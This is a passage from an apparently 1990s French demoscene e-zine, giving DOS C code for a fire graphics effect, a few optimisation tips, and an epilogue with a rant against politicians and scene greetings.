unsigned char r,g,b;
//RED,GREEN,BLUE, POUR LA PALETTE
unsigned char *videomem = (unsigned char *)0xA0000000;
//POINTEUR SUR LA PALETTE VIDEO
int index;
int index2;
//DEUX INDEX DONT ON SE SERT SOUVENT DANS LE PROGRAMME
int couleur;
//COULEUR DU POINT APRES BLUR
unsigned int aleat;
//SERT POUR LES CHIFFRES ALEATOIRES...
unsigned char *buffer;
//BUFFER POUR L'IMAGE
//FONCTION POUR TRACER UN PIXEL
void pixel(unsigned int x,unsigned int y,unsigned char color)
{
buffer[x+320*y]=color;
}
//FONCTION POUR PALETTE
void set_palette(unsigned char color)
{
outp(0x3c6,0xFF);
outp(0x3c8,color);
outp(0x3c9,r);
outp(0x3c9,g);
outp(0x3c9,b);
}
//FONCTION POUR CHANGER MODE
void change_mode(unsigned char mode)
{
union REGS regs;
regs.x.ax=mode;
int86(0x10,®s,®s);
}
//AFFICHE LE BUFFER
void show_buffer()
{
memcpy((unsigned char *)videomem,(unsigned char *)buffer,63680);
}
//ATTEND L'ECRAN POUR AFFICHER
void wait_for_screen()
{
while(inp(0x3DA)&0x08);
while(!(inp(0x3DA)&0x08));
}
void main()
{
printf("Fire effect\n");
printf("Coded by SaTaNiK\n");
//ALLOUE DE LA MEMOIRE POUR LE BUFFER
buffer=(unsigned char *)malloc(64000);
if(buffer==NULL)
{
printf("Pas assez de mémoire...\n");
exit(1);
}
//REMPLIT LE BUFFER DE 0
memset(buffer,0,64000);
getch();
//PASSE EN MODE GRAPHIQUE
change_mode(0x13);
//FAIT UNE PALETTE EN NOIR ET BLANC
for(index=0;index<256;index++)
{
r=index/4;
g=index/4;
b=index/4;
set_palette(index);
}
//BOUCLE TANT QUE PAS DE TOUCHE APPUYE
while(!kbhit())
{
//REMPLIE LA LIGNE DU BAS DE 0
memset(buffer+(320*199),0,320);
//MET 50 POINTS AU HASARD DANS LA LIGNE DU BAS
//VOUS POUVEZ AUGMENTEZ CECI POUR DE PLUS GRANDES FLAMMES
for(index=0;index<50;index++)
{
aleat=ALEA(320);
pixel(aleat,199,255);
}
//FAIT MONTER LES FLAMMES
for(index=0;index<199;index++)
{
for(index2=0;index2<320;index2++)
{
couleur=(buffer[index2+((index+1)*320)]);
pixel(index2,index,couleur);
}
}
//FAIT UN BLUR
for(index=198;index>0;index--)
{
for(index2=0;index2<320;index2++)
{
//FAIT LA MOYENNE DE CE QUI ENTOURE LE PIXEL
couleur=(buffer[((index)*320)+index2-1] + buffer[((index)*320)+index2+1] + buffer[((index+1)*320)+index2] + buffer[((index-1)*320)+index2])/4;
pixel(index2,index,(unsigned char)couleur);
}
}
//ATTEND L'ECRAN
wait_for_screen();
//AFFICHE LE BUFFER
show_buffer();
}
//REMET L'ECRAN EN MODE TEXTE
change_mode(0x03);
}
******************************************************************************
Si vous regardez bien le code, je ne copie pas la dernire ligne car elle est
trop Blanche par rapport aux autres lignes.....donc je la laisse noir et
on n'y voit que du feu(hh jeu de mot dbile).
Bon voyons maintenant les moyens d'optimiser ce feu: on peut faire le truc
classique et faire une table pour les y, histoire d'viter un tas de
multiplication...ce qui acclre nettement la chose:
******************************
for(index=0;index<200;index++)
{
tabley[index]=y*320;
}
******************************
Bon sinon on pourrait essayer d'optimiser en asm....si qqun veut essayer et
arrive
de bons resultats je publie son oeuvre ;). Sinon je le ferais moi
mmme :).
Sinon je met la version executable avec le zine(fire.exe). Ha je met
aussi ma version personelle, c'est quasiment le mmme code que plus haut
mais optimis et pour mode protg(Dos4gw)...et pis on y voit aussi des
cubes qui brulent...(Perso.exe)
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
********
"Epilogue"
********
Putain de politiciens, ils m'enervent de plus en plus, je dis pas
a seulement pour Le-Pen, car je pense(et je suis sur) que tout les
politiciens sont des SALAUDS!!!!! J'dis a parce que
voir comment
ils se battent aux elections et ce qu'ils foutent une fois elu a
m'enerve!!!!!!! Rha je vous emmerde tous les ptits politicards
la
con!!!! Bon voil
c'tait un ptit coup de gueule ;)). Bein sinon l
c'est
la rentre alors je vais voir si j'ai le temps de continuer le mag :).
GrEeTiNgS:
-French scene
-#pirate(le dernier channel hack pas trop naze ;))
-SqUaB
-Lagoon
-Hurr|cane
-Prezz
-#nOpast
-Psykaos(il a reussi
m'expliquer ce qu'tais le log que j'ai publi dans 1)
-Tout ceux qui se bougent le cul!!!!!!
-Stage9 MusicDisk(que j'ecoute en crivant, l'est bein chouette)
FuCk HaRd:
-#warezfrancais(hh j'suis bannit pour flood ;))
-Le warez en gnral
-Les Mp3z(mais c du warez non?)
-MiCrOsUcK
-Bond007(toi le petit con!!!)
-Politiciens
la con(tous en fait...)
Billou Le SaTaNiK
http://members.xoom.com/SaTaNoS/